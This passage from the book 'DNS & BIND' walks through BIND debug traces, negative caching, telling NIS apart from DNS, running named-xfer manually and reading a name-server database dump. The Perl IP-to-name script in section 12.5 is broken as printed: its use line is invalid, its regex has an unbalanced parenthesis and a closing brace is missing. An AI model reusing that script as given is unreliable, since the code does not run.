resp: found 'galt.cs.purdue.edu' as 'edu' (cname=0)
resp: forw -> [192.36.148.17].53 ds=4 nsid=40071 id=29574 1ms
datagram from [192.36.148.17].53, fd 4, len 202

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40071
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 4
;;   galt.cs.purdue.edu, type = A, class = IN
PURDUE.EDU.                 2D IN NS    NS.PURDUE.EDU.
PURDUE.EDU.                 2D IN NS    MOE.RICE.EDU.
PURDUE.EDU.                 2D IN NS    PENDRAGON.CS.PURDUE.EDU.
PURDUE.EDU.                 2D IN NS    HARBOR.ECN.PURDUE.EDU.
NS.PURDUE.EDU.                  2D IN A     128.210.11.5
MOE.RICE.EDU.                   2D IN A     128.42.5.4
PENDRAGON.CS.PURDUE.EDU.              2D IN A  128.10.2.5
HARBOR.ECN.PURDUE.EDU.              2D IN A     128.46.199.76
resp: nlookup(galt.cs.purdue.edu) qtype=1
resp: found 'galt.cs.purdue.edu' as 'cs.purdue.edu' (cname=0)
resp: forw -> [128.46.199.76].53 ds=4 nsid=40072 id=29574 8ms
datagram from [128.46.199.76].53, fd 4, len 234

send_msg -> [192.249.249.3].1162 (UDP 20) id=29574
Debug off

First, notice that IP addresses are logged, not names - odd for a name server, don't you think? It's not that odd, though. If you are trying to debug a problem with looking up names, you don't want the name server looking up additional names just to make the debugging output more readable - the extra queries would interfere with the debugging. None of the debugging levels translate IP addresses into names. You'll have to use a tool (like the one we provide later) to convert them for you.

Let's go through this debugging output line by line. This detailed approach is important if you want to understand what each line means. If you turn on debugging, you're probably trying to find out why some name can't be looked up, and you're going to have to figure out what the trace means.

datagram from [192.249.249.3].1162, fd 20, len 36

A datagram came from the host with IP address 192.249.249.3 (terminator). You may see the datagram come from 127.0.0.1 if the sender is on the same host as the name server. The sending application used port 1162. The name server received the datagram on file descriptor (fd) 20. The startup debugging output, like the one shown earlier, will tell you which interface file descriptor 20 is bound to. The length (len) of the datagram was 36 bytes.

req: nlookup(galt.cs.purdue.edu) id 29574 type=1 class=1

Since the next debugging line starts with req, we know that the datagram was a request. The name looked up in the request was galt.cs.purdue.edu. The request id is 29574. The type=1 means the request is for address information. The class=1 means the class was IN. You will find a complete list of query types and classes in the header file /usr/include/arpa/nameser.h.

req: missed 'galt.cs.purdue.edu' as '' (cname=0)

The name server looked up the requested name and didn't find it. Then it tried to find a remote name server to ask; none was found until the root domain (the empty quotes). The cname=0 means the name server has not encountered a CNAME record. If it does see a CNAME record, the canonical name is looked up instead of the original name, and cname will be nonzero.

forw: forw -> [198.41.0.10].53 ds=4 nsid=40070 id=29574 2ms retry 4sec

The query was forwarded to the name server (port 53) on host 198.41.0.10 (j.root-servers.net). The name server used file descriptor 4 (which is the wildcard address) to send the query. The name server tagged this query with ID number 40070 (nsid=40070) so that it could match the response to the original question. The application used ID number 29574 (id=29574), as you saw on the nlookup line. The name server will wait 4 seconds before trying the next name server.

datagram from [198.41.0.10].53, fd 4, len 343

The name server on j.root-servers.net responded. Since the response was a delegation, it is printed in full in the debug log.

resp: nlookup(galt.cs.purdue.edu) qtype=1

After the information is cached in the response packet, the name is looked up again. As mentioned earlier, query type=1 means that the name server is looking for address information.

resp: found 'galt.cs.purdue.edu' as 'edu' (cname=0)
resp: forw -> [192.36.148.17].53 ds=4 nsid=40071 id=29574 1ms
datagram from [192.36.148.17].53, fd 4, len 202

The root server responded with a delegation to the edu servers. The same query is sent to 192.36.148.17 (i.root-servers.net), one of the edu servers. i.root-servers.net responds with information about the purdue.edu servers.

resp: found 'galt.cs.purdue.edu' as 'cs.purdue.edu' (cname=0)

This time there is some information at the cs.purdue.edu level.

resp: forw -> [128.46.199.76].53 ds=4 nsid=40072 id=29574 8ms

A query was sent to the name server on 128.46.199.76 (harbor.ecn.purdue.edu).This time the name server ID is 40072.

datagram from [128.46.199.76].53, fd 4, len 234

The name server on harbor.ecn.purdue.edu responded. We have to look at what happens next to figure out the contents of this response.

send_msg -> [192.249.249.3].1162 (UDP 20) id=29574

The last response must have contained the address requested, since the name server responded to the application (which used port 1162, if you look back at the original query). The response was in a UDP packet (as opposed to a TCP connection), and it used file descriptor 20.

This name server was "quiet" when we did this trace; it wasn't handling other queries at the same time. When you do a trace on an active name server you won't be so lucky. You'll have to sift through the output and patch together those pieces that pertain to the lookup in which you are interested. It's not that hard, though. Start up your favorite editor, search for the nlookup line with the name you looked up, then trace the entries with the same nsid. You'll see how to follow the nsid in the next trace.

12.3.3 A Successful Lookup with Retransmissions (Debug Level 1)

Not all lookups are as "clean" as the last one - sometimes the query must be retransmitted. The user doesn't see any difference so long as the lookup succeeds, although the query involving retransmissions will take longer. Following is a trace where there are retransmissions. We converted the IP addresses to names after the trace was done. Notice how much easier it is to read with names!

1)  Debug turned ON, Level 1
2)
3)  datagram from terminator.movie.edu port 3397, fd 20, len 35
4)  req: nlookup(ucunix.san.uc.edu) id 1 type=1 class=1
5)  req: found 'ucunix.san.uc.edu' as 'edu' (cname=0)
6)  forw: forw -> i.root-servers.net port 53  ds=4 nsid=2 id=1 0ms
    retry 4 sec
7)
8)  datagram from i.root-servers.net port 53, fd 4, len 240
    <delegation lines removed>
9)  resp: nlookup(ucunix.san.uc.edu) qtype=1
10) resp: found 'ucunix.san.uc.edu' as 'san.uc.edu' (cname=0)
11) resp: forw -> uceng.uc.edu port 53 ds=4 nsid=3 id=1 0ms
12) resend(addr=1 n=0) - > ucbeh.san.uc.edu port 53 ds=4 nsid=3
    id=1 0ms
13)
14) datagram from terminator.movie.edu port 3397, fd 20, len 35
15) req: nlookup(ucunix.san.uc.edu) id 1 type=1 class=1
16) req: found 'ucunix.san.uc.edu' as 'san.uc.edu' (cname=0)
17) resend(addr=2 n=0) - > uccba.uc.edu port 53 ds=4 nsid=3 id=1 0ms
18) resend(addr=3 n=0) - > mail.cis.ohio-state.edu port 53 ds=4 nsid=3
    id=1 0ms
19)
20) datagram from mail.cis.ohio-state.edu port 53, fd 4, len 51
21) send_msg -> terminator.movie.edu (UDP 20 3397) id=1

This trace starts out like the last trace (lines 1 through 11): the name server receives a query for ucunix.san.uc.edu, sends the query to an edu name server (i.root-servers.net), receives a response that includes a list of name servers for uc.edu, and sends the query to one of the uc.edu name servers (uceng.uc.edu).

What's new in this trace is the resend lines (lines 12, 17, and 18). The forw on line 11 counts as "resend(addr=0 n=0)" - CS dweebs always start counting with zero. Since uceng.uc.edu didn't respond, the name server went on to try ucbeh (line 12), uccba (line 17), and mail (line 18). The off-site name server on mail.cis.ohio-state.edu finally responded (line 20). Notice that you can track all of the retransmissions by searching for nsid=3; that's important to know because lots of other queries can be wedged between these.

Also, notice the second datagram from terminator (line 14). It has the same port, file descriptor, length, ID, and type as the query on line 3. The application didn't receive a response in time, so it retransmitted its original query. Since the name server is still working on the first query transmitted, this one is a duplicate. It doesn't say so in this output, but the name server detected the duplicate and dropped it. We can tell because there is no forw: line after the req: lines, as there was on lines 4 through 6.

Can you guess what this output might look like if the name server were having trouble looking up a name? You'd see a lot of retransmissions as the name server kept trying to look up the name (which you could track by matching the nsid= lines). You'd see the application send a couple more retransmissions, thinking that the name server hadn't received the application's first query. Eventually the name server would give up, usually after the application itself gave up.

12.3.4 A Slave Name Server Checking Its Zone (Debug Level 1)

In addition to tracking down problems with name server lookups, you may have to track down why a slave server is not loading from its master. Tracking down this problem can often be done by simply comparing the domain's SOA serial numbers on the two servers, using nslookup or dig, as we'll show in Chapter 13. If your problem is more elusive, you may have to resort to looking at the debugging information. We'll show you what the debugging information should look like if your server is running normally.

This debugging output was generated on a "quiet" name server - one not receiving any queries - to show you exactly which lines pertain to zone maintenance. If you remember, a slave name server uses a child process to transfer the zone data to the local disk before reading it in. While the slave logs its debugging information to named.run, the slave's child process logs its debugging information to xfer.ddt.PID. The PID suffix, by default the process ID of the child process, may be changed to ensure that the filename is unique. Beware - turning on debugging on a slave name server will leave xfer.ddt.PID files lying around, even if you are only trying to trace a lookup. Our trace is at debugging level 1 and we turned on the BIND 8 logging option print-time. Debug level 3 gives you more information, more than you may want if a transfer actually occurs. A debugging level 3 trace of a zone transfer of several hundred resource records can create an xfer.ddt.PID file several megabytes large:

21-Feb 00:13:18.026 do_zone_maint for zone movie.edu (class IN)
21-Feb 00:13:18.034 zone_maint('movie.edu')
21-Feb 00:13:18.035 qserial_query(movie.edu)
21-Feb 00:13:18.043 sysquery: send -> [192.249.249.3].53 dfd=5
                         nsid=29790 id=0 retry=888048802
21-Feb 00:13:18.046 qserial_query(movie.edu) QUEUED
21-Feb 00:13:18.052 next maintenance for zone 'movie.edu' in 2782 sec
21-Feb 00:13:18.056 datagram from [192.249.249.3].53, fd 5, len 380
21-Feb 00:13:18.059 qserial_answer(movie.edu, 26739)
21-Feb 00:13:18.060 qserial_answer: zone is out of date
21-Feb 00:13:18.061 startxfer() movie.edu
21-Feb 00:13:18.063 /usr/etc/named-xfer -z movie.edu -f db.movie
                    -s 26738 -C 1 -P 53 -d 1 -l xfer.ddt 192.249.249.3
21-Feb 00:13:18.131 started xfer child 390
21-Feb 00:13:18.132 next maintenance for zone 'movie.edu' in 7200 sec

21-Feb 00:14:02.089 endxfer: child 390 zone movie.edu returned
                         status=1 termsig=-1
21-Feb 00:14:02.094 loadxfer() "movie.edu"
21-Feb 00:14:02.094 purge_zone(movie.edu,1)

21-Feb 00:14:30.049 db_load(db.movie, movie.edu, 2, Nil)
21-Feb 00:14:30.058 next maintenance for zone 'movie.edu' in 1846 sec

21-Feb 00:17:12.478 slave zone "movie.edu" (IN) loaded (serial 26739)
21-Feb 00:17:12.486 no schedule change for zone 'movie.edu'

21-Feb 00:42:44.817 Cleaned cache of 0 RRs

21-Feb 00:45:16.046 do_zone_maint for zone movie.edu (class IN)
21-Feb 00:45:16.054 zone_maint('movie.edu')
21-Feb 00:45:16.055 qserial_query(movie.edu)
21-Feb 00:45:16.063 sysquery: send -> [192.249.249.3].53 dfd=5
                         nsid=29791 id=0 retry=888050660
21-Feb 00:45:16.066 qserial_query(movie.edu) QUEUED
21-Feb 00:45:16.067 next maintenance for zone 'movie.edu' in 3445 sec
21-Feb 00:45:16.074 datagram from [192.249.249.3].53, fd 5, len 380
21-Feb 00:45:16.077 qserial_answer(movie.edu, 26739)
21-Feb 00:45:16.078 qserial_answer: zone serial is still OK
21-Feb 00:45:16.131 next maintenance for zone 'movie.edu' in 2002 sec

Unlike the previous traces, each line in this trace has a timestamp. The timestamp makes clear which debug statements are grouped together.

This server is a slave for a single zone, movie.edu. The line with time 00:13:18.026 shows that it is time to check with the master server. The server queries for the zone's SOA record and compares serial numbers before deciding to load the zone. The lines with times 00:13:18.059 through 00:13:18.131 show you the zone's serial number (26739), tell you the zone is out of date, and start a child process (pid 390) to transfer the zone. At time 00:13:18.132, a timer is set to expire 7200 seconds later. This is the amount of time the server allows for a transfer to complete. At time 00:14:02.089, you see the exit status of the child process. The status of 1 indicates that the zone data was successfully transferred. The old zone data is purged (time 00:14:02.094), and the new data is loaded.

The next maintenance (see time 00:14:30.058) is scheduled for 1846 seconds later. For this zone, the refresh interval is 3600, but the name server chose to check again in 1846 seconds. Why? The name server is trying to avoid having the refresh periods become synchronized. Instead of using 3600 exactly, it uses a random time between half the refresh interval (1800) and the full refresh interval (3600). At 00:45:16.046, the zone is checked again and this time it is up-to-date.

If your trace ran long enough, you'd see more lines like the one at 00:42:44.817 - one line each hour. What's happening is that the server is making a pass through its cache, freeing any data that has expired, to reduce the amount of memory used.

The master server for this zone is a BIND 4 name server. If the master were a BIND 8 name server, the slave would be notified when a zone changed rather than waiting for the refresh interval to expire. The slave server's debug output would look almost exactly the same, but the trigger to check the zone status is a NOTIFY:

rcvd NOTIFY(movie.edu, IN, SOA) from [192.249.249.3].1059
qserial_query(movie.edu)
sysquery: send -> [192.249.249.3].53 dfd=5
          nsid=29790 id=0 retry=888048802

Previous: 12.2 Turning On Debugging | DNS & BIND | Next: 12.4 The Resolver Search Algorithm and Negative Caching
12.2 Turning On Debugging | Book Index | 12.4 The Resolver Search Algorithm and Negative Caching


[Chapter 12] 12.4 The Resolver Search Algorithm and Negative Caching

DNS & BIND

DNS & BINDSearch this book
Previous: 12.3 Reading Debugging Output Chapter 12
Reading BIND Debugging Output 		Next: 12.5 Tools

12.4 The Resolver Search Algorithm and Negative Caching

In this trace, we'll show you the BIND 4.9 and BIND 8 search algorithm and the impact of negative caching. We could look up galt.cs.purdue.edu like the last trace, but it wouldn't show you the search algorithm. Instead, we will look up foo.bar, a name that doesn't exist. In fact, we will look it up twice:

1)  datagram from cujo.horror.movie.edu 1109, fd 6, len 25
2)  req: nlookup(foo.bar) id 19220 type=1 class=1
3)  req: found 'foo.bar' as '' (cname=0)
4)  forw: forw -> D.ROOT-SERVERS.NET 53 ds=7 nsid=2532 id=19220
                                             0ms retry 4sec
5)
6)  datagram from D.ROOT-SERVERS.NET 53, fd 5, len 25
7)  ncache: dname foo.bar, type 1, class 1
8)  send_msg -> cujo.horror.movie.edu 1109 (UDP 6) id=19220
9)
10) datagram from cujo.horror.movie.edu 1110, fd 6, len 42
11) req: nlookup(foo.bar.horror.movie.edu) id 19221 type=1 class=1
12) req: found 'foo.bar.horror.movie.edu' as 'horror.movie.edu'
                                             (cname=0)
13) forw: forw -> carrie.horror.movie.edu 53 ds=7 nsid=2533
                                      id=19221 0ms retry 4sec

14) datagram from carrie.horror.movie.edu 53, fd 5, len 42
15) ncache: dname foo.bar.horror.movie.edu, type 1, class 1
16) send_msg -> cujo.horror.movie.edu 1110 (UDP 6) id=19221

Look up foo.bar again:

17) datagram from cujo.horror.movie.edu 1111, fd 6, len 25
18) req: nlookup(foo.bar) id 15541 type=1 class=1
19) req: found 'foo.bar' as 'foo.bar' (cname=0)
20) ns_req: answer -> cujo.horror.movie.edu 1111 fd=6 id=15541
                                                size=25 Local
21)
22) datagram from cujo.horror.movie.edu 1112, fd 6, len 42
23) req: nlookup(foo.bar.horror.movie.edu) id 15542 type=1 class=1
24) req: found 'foo.bar.horror.movie.edu' as
                           'foo.bar.horror.movie.edu' (cname=0)
25) ns_req: answer -> cujo.horror.movie.edu 1112 fd=6 id=15542
                                                  size=42 Local

Let's look at the resolver search algorithm. The first name looked up (line 2) is exactly the name we typed in. Since the name had at least one dot, it is looked up without modification. When that name lookup failed, horror.movie.edu was appended to the name and looked up. (Resolvers before BIND 4.9 would try appending both horror.movie.edu and movie.edu.)

Line 7 shows caching the negative answer (ncache). If the same name is looked up again in the next few minutes (line 19), the name server still has the negative response in its cache, so the server can answer immediately that the name doesn't exist. (If you don't believe this hand waving, compare lines 3 and 19. On line 3, nothing was found for foo.bar, but line 19 shows the whole name being found.)

Previous: 12.3 Reading Debugging Output | DNS & BIND | Next: 12.5 Tools
12.3 Reading Debugging Output | Book Index | 12.5 Tools


[Chapter 12] 12.5 Tools

DNS & BIND

DNS & BINDSearch this book
Previous: 12.4 The Resolver Search Algorithm and Negative Caching Chapter 12
Reading BIND Debugging Output 		Next: 13. Troubleshooting DNS and BIND

12.5 Tools

Let's wrap up a few loose ends. We told you about a tool to convert IP addresses to names so that your debugging output is easier to read. Here is such a tool written in Perl:

#!/usr/bin/perl

use "Socket.pm";
while(< >) {
  if(/\b)([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\b/) {
      $addr = pack('C4', split(/\./, $1));
      ($name, $rest) = gethostbyaddr($addr, &AF_INET);
      if($name) {s/$1/$name/; }

    print;
}

It's best not to pipe named.run output into this script with debugging on, because the script will generate its own queries to the name server.

If you do any significant amount of name server debugging, you'll want a tool to turn debugging on and off. The 4.9 and later BIND distributions include a tool called ndc, which can be used for this purpose. The command ndc trace will turn on debugging, or increment the debug level if debugging is already on. The command ndc notrace will turn debugging off.

Previous: 12.4 The Resolver Search Algorithm and Negative Caching | DNS & BIND | Next: 13. Troubleshooting DNS and BIND
12.4 The Resolver Search Algorithm and Negative Caching | Book Index | 13. Troubleshooting DNS and BIND


[Chapter 13] Troubleshooting DNS and BIND

DNS & BIND

DNS & BINDSearch this book
Previous: 12.5 Tools Chapter 13 Next: 13.2 Troubleshooting Tools and Techniques

13. Troubleshooting DNS and BIND

Contents:
Is NIS Really Your Problem?
Troubleshooting Tools and Techniques
Potential Problem List
Transition Problems
Interoperability and Version Problems
Problem Symptoms

"Of course not," said the Mock Turtle. "Why, if a fish came to me, and told me he was going on a journey, I should say, 'With what porpoise?'"

"Don't you mean 'purpose'?" said Alice.

"I mean what I say," the Mock Turtle replied, in an offended tone. And the Gryphon added, "Come, let's hear some of your adventures."

In the last two chapters, we've demonstrated how to use nslookup and how to read the name server's debugging information. In this chapter, we'll show you how to use these tools - plus traditional UNIX networking tools like trusty ol' ping - to troubleshoot real-life problems with DNS and BIND.

Troubleshooting, by its nature, is a tough subject to teach. You start with any of a world of symptoms and try to work your way back to the cause. We can't cover the whole gamut of problems you may encounter on the Internet, but we will certainly do our best to show you how to diagnose the most common of them. And along the way, we hope to teach you troubleshooting techniques that will be valuable in tracking down more obscure problems that we don't document.

13.1 Is NIS Really Your Problem?

Before we launch into a discussion of how to troubleshoot a DNS or BIND problem, we should make sure you know how to tell whether a problem is caused by DNS, not by NIS. On hosts running NIS, figuring out whether the culprit is DNS or NIS can be difficult. The stock BSD nslookup, for example, doesn't pay any attention to NIS. You can run nslookup on a Sun and query the name server 'til the cows come home, while all the other services are using NIS.

How do you know where to put the blame? Some vendors have modified nslookup to use NIS for name service if NIS is configured. The HP-UX nslookup, for example, will report that it's querying an NIS server when it starts up:

% nslookup
Default NIS Server:  terminator.movie.edu
Address:  192.249.249.3

>

On hosts with vanilla versions of nslookup, you can often use ypmatch to determine whether you're using DNS or NIS. ypmatch will print a blank line after the host information if it received the data from a name server. So in this example, the answer came from NIS:

% ypmatch ruby hosts
140.186.65.25   ruby ruby.ora.com
%

Whereas in this example the answer came from a name server:

% ypmatch harvard.harvard.edu hosts
128.103.1.1     harvard.harvard.edu

%

Note that this works now (with SunOS 4.1.1), but is not guaranteed to work on every future version of SunOS. For all we know, this is a bug-cum-feature that may disappear in the next release.

A more surefire way to decide whether an answer came from NIS is to use ypcat to list the hosts database. For example, to find out whether andrew.cmu.edu is in your NIS hosts map, you could execute:

% ypcat hosts | grep andrew.cmu.edu

If you find the answer in NIS (and you know NIS is being consulted first), you've found the cause of the problem.

Finally, in the versions of UNIX that use the nsswitch.conf file, you can determine the order in which the different name services are used by referring to the entry for the hosts source in the file. An entry like this, for example, indicates that NIS is being checked first:

hosts:    nis dns files

while this entry has the name resolver querying DNS first:

hosts:    dns nis files

For more detailed information on the syntax and semantics of the nsswitch.conf file, see Chapter 6, Configuring Hosts.

These hints should help you identify the guilty party, or at least exonerate one suspect. If you narrow down the suspects, and DNS is still implicated, you'll just have to read this chapter.

Previous: 12.5 Tools | DNS & BIND | Next: 13.2 Troubleshooting Tools and Techniques
12.5 Tools | Book Index | 13.2 Troubleshooting Tools and Techniques


[Chapter 13] 13.2 Troubleshooting Tools and Techniques

DNS & BIND

DNS & BINDSearch this book
Previous: 13.1 Is NIS Really Your Problem? Chapter 13
Troubleshooting DNS and BIND 		Next: 13.3 Potential Problem List

13.2 Troubleshooting Tools and Techniques

We went over nslookup and the name server's debugging output in the last two chapters. Before we go on, let's introduce two new tools that can be useful in troubleshooting: named-xfer and name server database dumps.

13.2.1 How to Use named-xfer

named-xfer is the program named starts to perform zone transfers. named-xfer checks whether the slave's copy of the zone data is up-to-date, and transfers a new zone, if necessary. (In versions 4.9 and 8, named checks first if a zone is up to date in order to avoid starting up child processes when no transfer is necessary.)

In Chapter 12, Reading BIND Debugging Output, we showed you the debugging output a slave name server logged as it checked its zone. When the slave server transferred the zone, it started a child process (named-xfer) to pull the data to the local file system. We didn't tell you, however, that you can also start named-xfer manually, instead of waiting for named to start it, and that you can tell it to produce debugging output independently of named.

This can be useful if you're tracking down a problem with zone transfers but don't want to wait for named to schedule one. To test a zone transfer manually, you need to specify a number of command-line options:

% /etc/named-xfer
Usage: xfer
        -z zone_to_transfer
        -f db_file
        -s serial_no
        [-d debug_level]
        [-l debug_log_file]
        [-t trace_file]
        [-p port]
        [-S]
        [-C class]
        servers...

When named starts named-xfer, it specifies the -z option (the zone named wants to check), the -f option (the name of the db file that corresponds to the zone, from named.boot), the -s option (the zone's serial number on the slave, from the current SOA record), and the addresses of the servers the secondary was instructed to load from (the IP addresses from the masters substatement in the zone statement in named.conf, or from the secondary directive in named.boot). If named is running in debug mode, it also specifies the debug level for named-xfer with the -d option.

When you run named-xfer manually, you can also specify the debug level on the command line with -d. (Don't forget, though, that debug levels above three will produce tons of debugging output if the transfer succeeds!) You can also specify an alternate filename for the debug file with the -l option. The default log file is /usr/tmp/xfer.ddt.XXXXXX, where XXXXXX is a suffix appended to preserve uniqueness, or a file by the same name in /var/tmp. And you can specify the name of the host to load from, instead of its IP address.

For example, you could check to see whether zone transfers from terminator were working, with the following command line:

% /etc/named-xfer -z movie.edu -f /tmp/db.movie -s 0 terminator
% echo $?
1

In this command, we specified a serial number of zero because we wanted to force named-xfer to attempt a zone transfer, even if it wasn't needed. Zero is a special serial number - named-xfer will transfer the zone regardless of the actual zone serial number. Also, we told named-xfer to put the new zone file in /tmp, rather than overwriting the zone's working data file.

We can tell if the transfer succeeded by looking at named-xfer's return value, which has four possible values:

0

The zone data is up-to-date and no transfer was needed

1

Indicates a successful transfer

2

The host(s) named-xfer queried can't be reached, or an error occurred and named-xfer may have logged an error message

3

An error occurred and named-xfer logged an error message

13.2.2 How to Read a Database Dump

Poring over a dump of the name server's internal database - including cached information - can also help you track down problems. The INT signal causes named to dump its authoritative data, cache data, and hints data to named_dump.db in BIND's running directory (or in /usr/tmp/named_dump.db or /var/tmp/named_dump.db, for BIND 4). An example of a named_dump.db file follows. The authoritative data and cache entries, mixed together, appear first in the file. At the end of the file are the hints data:

; Dumped at Tue Jan  6 10:49:08 1998
;; ++zone table++
; 0.0.127.in-addr.arpa (type 1, class 1, source db.127.0.0)
;   time=0, lastupdate=0, serial=1,
;   refresh=0, retry=3600, expire=608400, minimum=86400
;   ftime=884015430, xaddr=[0.0.0.0], state=0041, pid=0
;; --zone table--
; Note: Cr=(auth,answer,addtnl,cache) tag only shown for non-auth RR's
; Note: NT=milliseconds for any A RR which we've used as a nameserver
; --- Cache & Data ---
$ORIGIN .
.   518375  IN      NS  G.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  J.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  K.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  L.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  M.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  A.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  H.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  B.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  C.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  D.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  E.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  I.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
    518375  IN      NS  F.ROOT-SERVERS.NET.   ;Cr=auth [128.8.10.90]
EDU  86393  IN      SOA A.ROOT-SERVERS.NET.  hostmaster.INTERNIC.NET. (
         1998010500 1800 900 604800 86400 )   ;Cr=addtnl [128.63.2.53]
$ORIGIN  0.127.in-addr.arpa.
0        IN    SOA cujo.movie.edu. root.cujo.movie.edu. (
         1998010600 10800 3600 608400 86400 )        ;Cl=5
         IN    NS  cujo.movie.edu.   ;Cl=5
$ORIGIN  0.0.127.in-addr.arpa.
1        IN    PTR localhost.    ;Cl=5
$ORIGIN EDU.
PURDUE   172787  IN  NS  NS.PURDUE.EDU.           ;Cr=addtnl [192.36.148.17]
         172787  IN  NS  MOE.RICE.EDU.            ;Cr=addtnl [192.36.148.17]
         172787  IN  NS  PENDRAGON.CS.PURDUE.EDU.  ;Cr=addtnl [192.36.148.17]
         172787  IN  NS  HARBOR.ECN.PURDUE.EDU.    ;Cr=addtnl [192.36.148.17]
$ORIGIN  movie.EDU.
;cujo    593     IN  SOA  A.ROOT-SERVERS.NET. hostmaster.INTERNIC. NET. (
;        1998010500 1800 900 604800 86400 );EDU.; NXDOMAIN  ;-$
   ;Cr=auth [128.63.2.53]
$ORIGIN   RICE.EDU.
MOE      172787  IN  A   128.42.5.4        ;NT=84 Cr=addtnl [192.36.148.17]
$ORIGIN   PURDUE.EDU.
CS       86387   IN  NS  pendragon.cs.PURDUE.edu.    ;Cr=addtnl [128.42.5.4]
         86387   IN  NS  ns.PURDUE.edu.              ;Cr=addtnl [128.42.5.4]
         86387   IN  NS  harbor.ecn.PURDUE.edu.      ;Cr=addtnl [128.42.5.4]
         86387   IN  NS  moe.rice.edu.               ;Cr=addtnl [128.42.5.4]
NS       172787   IN  A  128.210.11.5        ;NT=4 Cr=addtnl [192.36.148.17]
$ORIGIN   ECN.PURDUE.EDU.
HARBOR   172787  IN   A  128.46.199.76       ;NT=6 Cr=addtnl [192.36.148.17]
$ORIGIN   CS.PURDUE.EDU.
galt     86387   IN   A  128.10.2.39                 ;Cr=auth [128.42.5.4]
PENDRAGON  172787  IN  A  128.10.2.5         ;NT=20 Cr=addtnl [192.36.148.17]
$ORIGIN   ROOT-SERVERS.NET.
K        604775    IN  A  193.0.14.129       ;NT=10 Cr=answer [128.8.10.90]
A        604775    IN  A  198.41.0.4         ;NT=20 Cr=answer [128.8.10.90]
L        604775    IN  A  198.32.64.12       ;NT=8 Cr=answer [128.8.10.90]
B        604775    IN  A  128.9.0.107        ;NT=9 Cr=answer [128.8.10.90]
M        604775    IN  A  202.12.27.33       ;NT=20 Cr=answer [128.8.10.90]
C        604775    IN  A  192.33.4.12        ;NT=17 Cr=answer [128.8.10.90]
D        604775    IN  A  128.8.10.90        ;NT=11 Cr=answer [128.8.10.90]
E        604775    IN  A  192.203.230.10     ;NT=9 Cr=answer [128.8.10.90]
F        604775    IN  A  192.5.5.241        ;NT=73 Cr=answer [128.8.10.90]
G        604775    IN  A  192.112.36.4       ;NT=14 Cr=answer [128.8.10.90]
H        604775    IN  A  128.63.2.53        ;NT=160 Cr=answer [128.8.10.90]
I        604775    IN  A  192.36.148.17      ;NT=102 Cr=answer [128.8.10.90]
J        604775    IN  A  198.41.0.10        ;NT=21 Cr=answer [128.8.10.90]
; --- Hints ---
$ORIGIN .
.   3600           IN  NS  A.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  B.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  C.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  D.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  E.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  F.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  G.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  H.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  I.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  J.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  K.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  L.ROOT-SERVERS.NET.     ;Cl=0
    3600           IN  NS  M.ROOT-SERVERS.NET.     ;Cl=0
$ORIGIN   ROOT-SERVERS.NET.
K     3600         IN   A  193.0.14.129      ;NT=11 Cl=0
L     3600         IN   A  198.32.64.12      ;NT=9 Cl=0
A     3600         IN   A  198.41.0.4        ;NT=10 Cl=0
M     3600         IN   A  202.12.27.33      ;NT=11 Cl=0
B     3600         IN   A  128.9.0.107       ;NT=1288 Cl=0
C     3600         IN   A  192.33.4.12       ;NT=21 Cl=0
D     3600         IN   A  128.8.10.90       ;NT=1288 Cl=0
E     3600         IN   A  192.203.230.10    ;NT=19 Cl=0
F     3600         IN   A  192.5.5.241       ;NT=23 Cl=0
G     3600         IN   A  192.112.36.4      ;NT=18 Cl=0
H     3600         IN   A  128.63.2.53       ;NT=11 Cl=0
I     3600         IN   A  192.36.148.17     ;NT=21 Cl=0
J     3600         IN   A  198.41.0.10       ;NT=13 Cl=0

The name server that created this named_dump.db file was authoritative only for 0.0.127.in-addr.arpa. Only two names have been looked up by this server: galt.cs.purdue.edu and cujo.movie.edu. In the process of looking up galt, this server cached not only the address of galt, but also the list of name servers for purdue.edu and the addresses for those servers. The name cujo.movie.edu, however, doesn't really exist (nor does the domain movie.edu, except in our examples), so the server cached the negative response. In the dump file, the negative response is commented out (the line starts with a semicolon), and the reason is listed (NXDOMAIN) instead of real data. You'll notice the TTL is quite low (593). Negative responses are only cached for 10 minutes (600 seconds).

The hints section at the bottom of the file contains the data from the db.cache file. The TTL of the hints data is decremented, and it may go to zero, but the hints are never discarded.

Note that some of the resource records are followed by a semicolon and NT=. You will only see these on the address records of name servers. The number is a round-trip time calculation that the name server keeps so that it knows which name servers have responded most quickly in the past; the name server with the lowest round-trip time will be tried first the next time.

The cache data is easy to pick out - those entries have a credibility tag (Cr=) and the IP address of the server the data came from. The zone data and hint data are tagged with (Cl=), which is just a count of the level in the domain tree. (root is level 0, foo is level 1, foo.foo is level 2, etc.) Let's digress a moment to explain the concept of credibility.

One of the advances between version 4.8.3 and 4.9 is the addition of a credibility measure. This allows a name server to make more intelligent decisions about what to do with new data from a remote server.

